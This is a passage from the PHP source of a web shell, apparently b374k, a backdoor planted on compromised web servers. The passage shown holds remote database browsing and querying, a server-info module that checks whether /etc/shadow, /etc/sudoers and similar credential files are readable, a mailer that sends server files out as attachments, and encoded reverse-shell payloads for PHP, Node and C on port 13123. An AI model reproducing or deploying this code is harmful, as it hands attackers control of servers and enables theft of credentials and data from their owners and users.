  1535.                 $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass);
  1536.                 return @sqlsrv_connect($sqlhost,$coninfo);
  1537.             }
  1538.             elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass);
  1539.         }
  1540.         elseif($sqltype == 'pgsql'){
  1541.             $hosts = explode(":", $sqlhost);
  1542.             if(count($hosts)==2){
  1543.                 $host_str = "host=".$hosts[0]." port=".$hosts[1];
  1544.             }
  1545.             else $host_str = "host=".$sqlhost;
  1546.             if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass");
  1547.         }
  1548.         elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); }
  1549.         elseif($sqltype == 'sqlite3'){
  1550.             if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost);
  1551.             else return false;
  1552.         }
  1553.         elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); }
  1554.         elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); }
  1555.         elseif($sqltype == 'pdo'){
  1556.             if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass);
  1557.             else return false;
  1558.         }
  1559.         return false;
  1560.     }
  1561. }
  1562.  
  1563. if(!function_exists('sql_query')){
  1564.     function sql_query($sqltype, $query, $con){
  1565.         if($sqltype == 'mysql'){
  1566.             if(class_exists('mysqli')) return $con->query($query);
  1567.             elseif(function_exists('mysql_query')) return mysql_query($query);
  1568.         }
  1569.         elseif($sqltype == 'mssql'){
  1570.             if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query);
  1571.             elseif(function_exists('mssql_query')) return mssql_query($query);
  1572.         }
  1573.         elseif($sqltype == 'pgsql') return pg_query($query);
  1574.         elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query));
  1575.         elseif($sqltype == 'sqlite3') return $con->query($query);
  1576.         elseif($sqltype == 'sqlite') return sqlite_query($con, $query);
  1577.         elseif($sqltype == 'odbc') return odbc_exec($con, $query);
  1578.         elseif($sqltype == 'pdo') return $con->query($query);
  1579.     }
  1580. }
  1581.  
  1582. if(!function_exists('sql_num_rows')){
  1583.     function sql_num_rows($sqltype,$result){
  1584.         if($sqltype == 'mysql'){
  1585.             if(class_exists('mysqli_result')) return $result->mysqli_num_rows;
  1586.             elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result);
  1587.         }
  1588.         elseif($sqltype == 'mssql'){
  1589.             if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result);
  1590.             elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result);
  1591.         }
  1592.         elseif($sqltype == 'pgsql') return pg_num_rows($result);
  1593.         elseif($sqltype == 'oracle') return oci_num_rows($result);
  1594.         elseif($sqltype == 'sqlite3'){
  1595.             $metadata = $result->fetchArray();
  1596.             if(is_array($metadata)) return $metadata['count'];
  1597.         }
  1598.         elseif($sqltype == 'sqlite') return sqlite_num_rows($result);
  1599.         elseif($sqltype == 'odbc') return odbc_num_rows($result);
  1600.         elseif($sqltype == 'pdo') return $result->rowCount();
  1601.     }
  1602. }
  1603.  
  1604. if(!function_exists('sql_num_fields')){
  1605.     function sql_num_fields($sqltype, $result){
  1606.         if($sqltype == 'mysql'){
  1607.             if(class_exists('mysqli_result')) return $result->field_count;
  1608.             elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result);
  1609.         }
  1610.         elseif($sqltype == 'mssql'){
  1611.             if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result);
  1612.             elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result);
  1613.         }
  1614.         elseif($sqltype == 'pgsql') return pg_num_fields($result);
  1615.         elseif($sqltype == 'oracle') return oci_num_fields($result);
  1616.         elseif($sqltype == 'sqlite3') return $result->numColumns();
  1617.         elseif($sqltype == 'sqlite') return sqlite_num_fields($result);
  1618.         elseif($sqltype == 'odbc') return odbc_num_fields($result);
  1619.         elseif($sqltype == 'pdo') return $result->columnCount();
  1620.     }
  1621. }
  1622.  
  1623. if(!function_exists('sql_field_name')){
  1624.     function sql_field_name($sqltype,$result,$i){
  1625.         if($sqltype == 'mysql'){
  1626.             if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;}
  1627.             elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i);
  1628.         }
  1629.         elseif($sqltype == 'mssql'){
  1630.             if(function_exists('sqlsrv_field_metadata')){
  1631.                 $metadata = sqlsrv_field_metadata($result);
  1632.                 if(is_array($metadata)){
  1633.                     $metadata=$metadata[$i];
  1634.                 }
  1635.                 if(is_array($metadata)) return $metadata['Name'];
  1636.             }
  1637.             elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i);
  1638.         }
  1639.         elseif($sqltype == 'pgsql') return pg_field_name($result,$i);
  1640.         elseif($sqltype == 'oracle') return oci_field_name($result,$i+1);
  1641.         elseif($sqltype == 'sqlite3') return $result->columnName($i);
  1642.         elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i);
  1643.         elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1);
  1644.         elseif($sqltype == 'pdo'){
  1645.             $res = $result->getColumnMeta($i);
  1646.             return $res['name'];
  1647.         }
  1648.     }
  1649. }
  1650.  
  1651. if(!function_exists('sql_fetch_data')){
  1652.     function sql_fetch_data($sqltype,$result){
  1653.         if($sqltype == 'mysql'){
  1654.             if(class_exists('mysqli_result')) return $result->fetch_row();
  1655.             elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result);
  1656.         }
  1657.         elseif($sqltype == 'mssql'){
  1658.             if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1);
  1659.             elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result);
  1660.         }
  1661.         elseif($sqltype == 'pgsql') return pg_fetch_row($result);
  1662.         elseif($sqltype == 'oracle') return oci_fetch_row($result);
  1663.         elseif($sqltype == 'sqlite3') return $result->fetchArray(1);
  1664.         elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1);
  1665.         elseif($sqltype == 'odbc') return odbc_fetch_array($result);
  1666.         elseif($sqltype == 'pdo') return $result->fetch(2);
  1667.     }
  1668. }
  1669.  
  1670. if(!function_exists('sql_close')){
  1671.     function sql_close($sqltype,$con){
  1672.         if($sqltype == 'mysql'){
  1673.             if(class_exists('mysqli')) return $con->close();
  1674.             elseif(function_exists('mysql_close')) return mysql_close($con);
  1675.         }
  1676.         elseif($sqltype == 'mssql'){
  1677.             if(function_exists('sqlsrv_close')) return sqlsrv_close($con);
  1678.             elseif(function_exists('mssql_close')) return mssql_close($con);
  1679.         }
  1680.         elseif($sqltype == 'pgsql') return pg_close($con);
  1681.         elseif($sqltype == 'oracle') return oci_close($con);
  1682.         elseif($sqltype == 'sqlite3') return $con->close();
  1683.         elseif($sqltype == 'sqlite') return sqlite_close($con);
  1684.         elseif($sqltype == 'odbc') return odbc_close($con);
  1685.         elseif($sqltype == 'pdo') return $con = null;
  1686.     }
  1687. }
  1688.  
  1689. if(!function_exists('sql_get_supported')){
  1690.     function sql_get_supported(){
  1691.         $db_supported = array();
  1692.  
  1693.         if(function_exists("mysql_connect")) $db_supported[] = 'mysql';
  1694.         if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql';
  1695.         if(function_exists("pg_connect")) $db_supported[] = 'pgsql';
  1696.         if(function_exists("oci_connect")) $db_supported[] = 'oracle';
  1697.         if(function_exists("sqlite_open")) $db_supported[] = 'sqlite';
  1698.         if(class_exists("SQLite3")) $db_supported[] = 'sqlite3';
  1699.         if(function_exists("odbc_connect")) $db_supported[] = 'odbc';
  1700.         if(class_exists("PDO")) $db_supported[] = 'pdo';
  1701.  
  1702.         return implode(",", $db_supported);
  1703.     }
  1704. }
  1705.  
  1706. if(isset($p['dbGetSupported'])){
  1707.     $res = sql_get_supported();
  1708.     if(empty($res)) $res = "error";
  1709.     output($res);
  1710. }
  1711. elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){
  1712.     $type = $p['dbType'];
  1713.     $host = $p['dbHost'];
  1714.     $user = $p['dbUser'];
  1715.     $pass = $p['dbPass'];
  1716.     $port = $p['dbPort'];
  1717.  
  1718.     $con = sql_connect($type ,$host , $user , $pass);
  1719.     $res = "";
  1720.  
  1721.     if($con!==false){
  1722.         if(isset($p['dbQuery'])){
  1723.             $query = $p['dbQuery'];
  1724.             $pagination = "";
  1725.             if((isset($p['dbDB']))&&(isset($p['dbTable']))){
  1726.                 $db = trim($p['dbDB']);
  1727.                 $table = trim($p['dbTable']);
  1728.                 $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0;
  1729.                 $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100;
  1730.  
  1731.                 if($type=='mysql'){
  1732.                     $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";";
  1733.                 }
  1734.                 elseif($type=='mssql'){
  1735.                     $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";";
  1736.                 }
  1737.                 elseif($type=='pgsql'){
  1738.                     $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";";
  1739.                 }
  1740.                 elseif($type=='oracle'){
  1741.                     $limit = $start + $limit;
  1742.                     $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";";
  1743.                 }
  1744.                 elseif($type=='sqlite' || $type=='sqlite3'){
  1745.                     $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";";
  1746.                 }
  1747.                 else $query = "";
  1748.  
  1749.                 $pagination = "Limit <input type='text' id='dbLimit' value='".html_safe($limit)."' style='width:50px;'>
  1750.                                 <span class='button' onclick=\"db_pagination('prev');\">prev</span>
  1751.                                 <span class='button' onclick=\"db_pagination('next');\">next</span>
  1752.                                 <input type='hidden' id='dbDB' value='".html_safe($db)."'>
  1753.                                 <input type='hidden' id='dbTable' value='".html_safe($table)."'>
  1754.                                 <input type='hidden' id='dbStart' value='".html_safe($start)."'>
  1755.                                 ";
  1756.             }
  1757.  
  1758.             $querys = explode(";", $query);
  1759.             foreach($querys as $query){
  1760.                 if(trim($query) != ""){
  1761.                     $query_query = sql_query($type, $query, $con);
  1762.                     if($query_query!=false){
  1763.                         $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> ok <span class='strong'>]</span></p>";
  1764.                         if(!empty($pagination)){
  1765.                             $res .= "<p>".$pagination."</p>";
  1766.                         }
  1767.                         if(!is_bool($query_query)){
  1768.                             $res .= "<table class='border dataView sortable tblResult'><tr>";
  1769.                             for($i = 0; $i < sql_num_fields($type, $query_query); $i++)
  1770.                                 $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>";
  1771.                             $res .= "</tr>";
  1772.                             while($rows = sql_fetch_data($type, $query_query)){
  1773.                                 $res .= "<tr>";
  1774.                                 foreach($rows as $r){
  1775.                                     if(empty($r)) $r = " ";
  1776.                                     $res .= "<td>".html_safe($r)."</td>";
  1777.                                 }
  1778.                                 $res .= "</tr>";
  1779.                             }
  1780.                             $res .= "</table>";
  1781.                         }
  1782.                     }
  1783.                     else{
  1784.                         $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class='strong'>[</span> error <span class='strong'>]</span></p>";
  1785.                     }
  1786.                 }
  1787.             }
  1788.         }
  1789.         else{
  1790.             if(($type!='pdo') && ($type!='odbc')){
  1791.                 if($type=='mysql') $showdb = "SHOW DATABASES";
  1792.                 elseif($type=='mssql') $showdb = "SELECT name FROM master..sysdatabases";
  1793.                 elseif($type=='pgsql') $showdb = "SELECT schema_name FROM information_schema.schemata";
  1794.                 elseif($type=='oracle') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  1795.                 elseif(($type=='sqlite3') || ($type=='sqlite')) $showdb = "SELECT \"".$host."\"";
  1796.                 else $showdb = "SHOW DATABASES";
  1797.  
  1798.                 $query_db = sql_query($type, $showdb, $con);
  1799.  
  1800.                 if($query_db!=false) {
  1801.                     while($db_arr = sql_fetch_data($type, $query_db)){
  1802.                         foreach($db_arr as $db){
  1803.                             if($type=='mysql') $showtbl = "SHOW TABLES FROM ".$db;
  1804.                             elseif($type=='mssql') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = 'U'";
  1805.                             elseif($type=='pgsql') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$db."'";
  1806.                             elseif($type=='oracle') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$db."'";
  1807.                             elseif(($type=='sqlite3') || ($type=='sqlite')) $showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  1808.                             else $showtbl = "";
  1809.  
  1810.                             $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>".$db."</p><table class='border' style='display:none;margin:8px 0;'>";
  1811.                             $query_table = sql_query($type, $showtbl, $con);
  1812.  
  1813.                             if($query_table!=false){
  1814.                                 while($tables_arr = sql_fetch_data($type, $query_table)){
  1815.                                     foreach($tables_arr as $table) $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>".$table."</td></tr>";
  1816.                                 }
  1817.                             }
  1818.                             $res .= "</table>";
  1819.                         }
  1820.                     }
  1821.                 }
  1822.             }
  1823.         }
  1824.     }
  1825.     if(!empty($res)) output($res);
  1826.     output('error');
  1827. }
  1828.  
  1829. $GLOBALS['module']['info']['id'] = "info";
  1830. $GLOBALS['module']['info']['title'] = "Info";
  1831. $GLOBALS['module']['info']['js_ontabselected'] = "";
  1832. $GLOBALS['module']['info']['content'] = "<div class='border infoResult'></div>";
  1833.  
  1834. if(!function_exists('info_getinfo')){
  1835.     function info_getinfo(){
  1836.         $res = "";
  1837.         // server misc info
  1838.         $res .= "<p class='boxtitle' onclick=\"info_toggle('info_server');\" style='margin-bottom:8px;'>Server Info</p>";
  1839.         $res .= "<div id='info_server' style='margin-bottom:8px;display:none;'><table class='dataView'>";
  1840.  
  1841.         if(is_win()){
  1842.             foreach (range("A", "Z") as $letter){
  1843.                 if(is_readable($letter.":\\")){
  1844.                     $drive = $letter.":";
  1845.                     $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>";
  1846.                 }
  1847.             }
  1848.         }
  1849.         else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>";
  1850.  
  1851.         $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
  1852.         $access = array("python"=>"python -V",
  1853.                         "perl"=>"perl -e \"print \$]\"",
  1854.                         "python"=>"python -V",
  1855.                         "ruby"=>"ruby -v",
  1856.                         "node"=>"node -v",
  1857.                         "nodejs"=>"nodejs -v",
  1858.                         "gcc"=>"gcc -dumpversion",
  1859.                         "java"=>"java -version",
  1860.                         "javac"=>"javac -version"
  1861.                         );
  1862.  
  1863.         foreach($access as $k=>$v){
  1864.             $version = execute($v);
  1865.             $version = explode("\n", $version);
  1866.             if($version[0]) $version = $version[0];
  1867.             else $version = "?";
  1868.  
  1869.             $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>";
  1870.         }
  1871.  
  1872.         if(!is_win()){
  1873.             $interesting = array(
  1874.             "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases",
  1875.             "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf",
  1876.             "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
  1877.             "/etc/ssh/sshd_config",
  1878.             "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
  1879.             "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
  1880.             "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
  1881.             foreach($interesting as $f){
  1882.                 if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path='".html_safe($f)."' onclick='view_entry(this);'>".$f." is readable</a></td></tr>";
  1883.             }
  1884.         }
  1885.         $res .= "</table></div>";
  1886.  
  1887.         if(!is_win()){
  1888.             // cpu info
  1889.             if($i_buff=trim(read_file("/proc/cpuinfo"))){
  1890.                 $res .= "<p class='boxtitle' onclick=\"info_toggle('info_cpu');\" style='margin-bottom:8px;'>CPU Info</p>";
  1891.                 $res .= "<div class='info' id='info_cpu' style='margin-bottom:8px;display:none;'>";
  1892.                 $i_buffs = explode("\n\n", $i_buff);
  1893.                 foreach($i_buffs as $i_buffss){
  1894.                     $i_buffss = trim($i_buffss);
  1895.                     if($i_buffss!=""){
  1896.                         $i_buffsss = explode("\n", $i_buffss);
  1897.                         $res .= "<table class='dataView'>";
  1898.                         foreach($i_buffsss as $i){
  1899.                             $i = trim($i);
  1900.                             if($i!=""){
  1901.                                 $ii = explode(":",$i);
  1902.                                 if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  1903.                             }
  1904.                         }
  1905.                         $res .= "</table>";
  1906.                     }
  1907.                 }
  1908.                 $res .= "</div>";
  1909.             }
  1910.  
  1911.             // mem info
  1912.             if($i_buff=trim(read_file("/proc/meminfo"))){
  1913.                 $res .= "<p class='boxtitle' onclick=\"info_toggle('info_mem');\" style='margin-bottom:8px;'>Memory Info</p>";
  1914.                 $i_buffs = explode("\n", $i_buff);
  1915.                 $res .= "<div class='info' id='info_mem' style='margin-bottom:8px;display:none;'><table class='dataView'>";
  1916.                 foreach($i_buffs as $i){
  1917.                     $i = trim($i);
  1918.                     if($i!=""){
  1919.                         $ii = explode(":",$i);
  1920.                         if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>";
  1921.                     }
  1922.                     else $res .= "</table><table class='dataView'>";
  1923.                 }
  1924.                 $res .= "</table></div>";
  1925.             }
  1926.  
  1927.             // partition
  1928.             if($i_buff=trim(read_file("/proc/partitions"))){
  1929.                 $i_buff = preg_replace("/\ +/", " ", $i_buff);
  1930.                 $res .= "<p class='boxtitle' onclick=\"info_toggle('info_part');\" style='margin-bottom:8px;'>Partitions Info</p>";
  1931.                 $res .= "<div class='info' id='info_part' style='margin-bottom:8px;display:none;'>";
  1932.                 $i_buffs = explode("\n\n", $i_buff);
  1933.                 $res .= "<table class='dataView'><tr>";
  1934.                 $i_head = explode(" ", $i_buffs[0]);
  1935.                 foreach($i_head as $h) $res .= "<th>".$h."</th>";
  1936.                 $res .= "</tr>";
  1937.                 $i_buffss = explode("\n", $i_buffs[1]);
  1938.                 foreach($i_buffss as $i_b){
  1939.                     $i_row = explode(" ", trim($i_b));
  1940.                     $res .= "<tr>";
  1941.                     foreach($i_row as $r) $res .= "<td style='text-align:center;'>".$r."</td>";
  1942.                     $res .= "</tr>";
  1943.                 }
  1944.                 $res .= "</table>";
  1945.                 $res .= "</div>";
  1946.             }
  1947.         }
  1948.         $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
  1949.         foreach($phpinfo as $p=>$i){
  1950.             $res .= "<p class='boxtitle' onclick=\"info_toggle('".$i."');\" style='margin-bottom:8px;'>".$p."</p>";
  1951.             ob_start();
  1952.             eval("phpinfo(".$i.");");
  1953.             $b = ob_get_contents();
  1954.             ob_end_clean();
  1955.             if(preg_match("/<body>(.*?)<\/body>/is", $b, $r)){
  1956.                 $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
  1957.                 $body = str_replace("<table", "<table class='boxtbl' ", $body);
  1958.                 $body = preg_replace("/<tr class=\"h\">(.*?)<\/tr>/", "", $body);
  1959.                 $body = preg_replace("/<a href=\"http:\/\/www.php.net\/(.*?)<\/a>/", "", $body);
  1960.                 $body = preg_replace("/<a href=\"http:\/\/www.zend.com\/(.*?)<\/a>/", "", $body);
  1961.  
  1962.                 $res .= "<div class='info' id='".$i."' style='margin-bottom:8px;display:none;'>".$body."</div>";
  1963.             }
  1964.         }
  1965.  
  1966.         $res .= "<span class='button colSpan' onclick=\"info_refresh();\" style='margin-bottom:8px;'>refresh</span><div style='clear:both;'></div>";
  1967.         return $res;
  1968.     }
  1969. }
  1970.  
  1971. if(isset($p['infoRefresh'])){
  1972.     output(info_getinfo());
  1973. }
  1974.  
  1975. $GLOBALS['module']['mail']['id'] = "mail";
  1976. $GLOBALS['module']['mail']['title'] = "Mail";
  1977. $GLOBALS['module']['mail']['js_ontabselected'] = "if(!portableMode) $('#mailFrom').focus();";
  1978. $GLOBALS['module']['mail']['content'] = "
  1979. <table class='boxtbl'>
  1980. <thead>
  1981.     <tr><th colspan='2'><p class='boxtitle'>Mail</p></th></tr>
  1982. </thead>
  1983. <tbody id='mailTBody'>
  1984.     <tr><td style='width:120px'>From</td><td colspan='2'><input type='text' id='mailFrom' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  1985.     <tr><td>To</td><td><input type='text' id='mailTo' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  1986.     <tr><td>Subject</td><td><input type='text' id='mailSubject' value='' onkeydown=\"trap_enter(event, 'mail_send');\"></td></tr>
  1987. </tbody>
  1988. <tfoot>
  1989.     <tr><td colspan='2'><textarea id='mailContent' style='height:140px;min-height:140px;'></textarea></td></tr>
  1990.     <tr>
  1991.         <td colspan='2'><span style='width:120px;' class='button' onclick=\"mail_send();\">send</span>
  1992.         <span style='width:120px;' class='button' onclick=\"mail_attach();\">attachment</span>
  1993.         </td>
  1994.     </tr>
  1995.     <tr><td colspan='2'><span id='mailResult'></span></td></tr>
  1996. </tfoot>
  1997. </table>
  1998. ";
  1999.  
  2000. if(!function_exists('send_email')){
  2001.     function send_email($from, $to, $subject, $msg, $attachment){
  2002.         $headers = "MIME-Version: 1.0\r\n".$from;
  2003.  
  2004.         $rand = md5(time());
  2005.         $headers .= "Content-Type: multipart/mixed; boundary=\"".$rand."\"\r\n\r\n";
  2006.  
  2007.         $headers .= "--".$rand."\r\n";
  2008.         $headers .= "Content-Type: text/html; charset=\"UTF-8\"\r\nContent-Transfer-Encoding: 8bit\r\n\r\n";
  2009.         $headers .= $msg."\r\n\r\n";
  2010.  
  2011.         if(count($attachment)>0){
  2012.             foreach($attachment as $file){
  2013.                 if(is_file($file)){
  2014.                     $content = chunk_split(base64_encode(read_file($file)));
  2015.                     $headers .= "--".$rand."\r\n";
  2016.                     $headers .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\r\n";
  2017.                     $headers .= "Content-Transfer-Encoding: base64\r\n";
  2018.                     $headers .= "Content-Disposition: attachment\r\n\r\n";
  2019.                     $headers .= $content."\r\n\r\n";
  2020.                 }
  2021.             }
  2022.         }
  2023.         $headers .= "--".$rand."--\r\n";
  2024.         if(@mail($to, $subject, "", $headers)) return true;
  2025.         return false;
  2026.     }
  2027. }
  2028.  
  2029. if(isset($p['mailFrom'])&&isset($p['mailTo'])&&isset($p['mailSubject'])&&isset($p['mailContent'])){
  2030.     $mailFrom = trim($p['mailFrom']);
  2031.     $mailTo = trim($p['mailTo']);
  2032.     $mailSubject = trim($p['mailSubject']);
  2033.     $mailContent = trim($p['mailContent']);
  2034.     $mailAttachment = trim($p['mailAttachment']);
  2035.     $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p['mailAttachment']):array();
  2036.  
  2037.     if(empty($mailTo)) output("Please specify at least one recipient");
  2038.     if(!empty($mailFrom)){
  2039.         $mailFrom = "From: ".$mailFrom."\r\nReply-To: ".$mailFrom."\r\n";
  2040.     }
  2041.  
  2042.     foreach($mailAttachment as $file){
  2043.         $file = trim($file);
  2044.         if(empty($file)) continue;
  2045.         if(!is_file($file)) output("No such file : ".$file);
  2046.     }
  2047.  
  2048.     if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo));
  2049.     output("Failed to send mail");
  2050. }
  2051.  
  2052. $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:"";
  2053. $remote_addr = isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR']:"";
  2054. $default_port = 13123;
  2055. $winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":"";
  2056.  
  2057. $GLOBALS['resources']['rs_php'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HN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1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
  2061. $GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
  2062. $GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o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JO8ec78bsd7GDAgT36LepLCyVqCAyCC8s4KkM6lZ3Xi13kctDIuZ+JalYDn9jaPD2UllObdJQzj4yLyVC+4QOAk8BANRN5eIRWen8JWOAwNyVyYJg+l2yTdEN3a6crkeIi3FnRAPUXKspM4Vcwc15YJHi5VrTULwkp3OmpyJMFZo5iKwRP4ecGx8X40QcYB5gm2KyxVHaI8DYCMi7Yyxi7NBQoYbzpVNoC87VkFDfaVHMDQYOEjSKL2BmKhG1/LHnxYCSEc06Um6OdpR6YZXcrhCzNt/O8QhgnTpRpVW78NVf1erdoBnNLmSh8RzdaOITCsu/p7fusfAjXE/dPkH4ppr2ALXgLPEER7G2OwW6Z9OZ1N24MNQhe1Vj0xmIY+MYx6rLYR1BG010DtIJjzC+bWIA+FU3QTtTvRle4hhLsPBGByJjRrAPVTPWEPH0y/MkC8YqIXNy2e1FgGMGMzuVYlHT92GhoAIwDoCdYmOEDPBw2FnoAJ3euzGO01InJYhPqH0HJEE9yte5EY8fRMAnJ45sUESifocFozaHmMHM5FAf0ZKTqi1cYQpH7mVUFM/DYwLhG5b9h9Ar16GihfI3DLT4qJj5kBkwzHZ4iG+rVoUqKX6auNa2O2YeKQ20JDCFuzDVjZpP5VO6QZ9ItFEMucDQ2ghgNMf1Nkgm224TYiMJv+469Iu2UkpZGCljZxAC2qdoI39ncSYeIA/y//C6S0HQBE7X/EvkBjzZ+wSjQu+RNWj8bG9v++bjOK30O1H9XnqGJvAwD99pu5eW8t+631fGsjQ2PXh/J8vD1CeDxApspOU8LoMU4KJMZ581H0jRsdHPmWAfAUQhFPkqoUKvO4ABAuhmeeT1yRSClWqQBgg+T10QzFYPRo91vMlUoVab9FYUqxGP3m0FzJ6+TXiQBfokhF//zoHVuRlimG0dozN+f/O7/5vwA=";
  2065.  
  2066. $GLOBALS['module']['network']['id'] = "network";
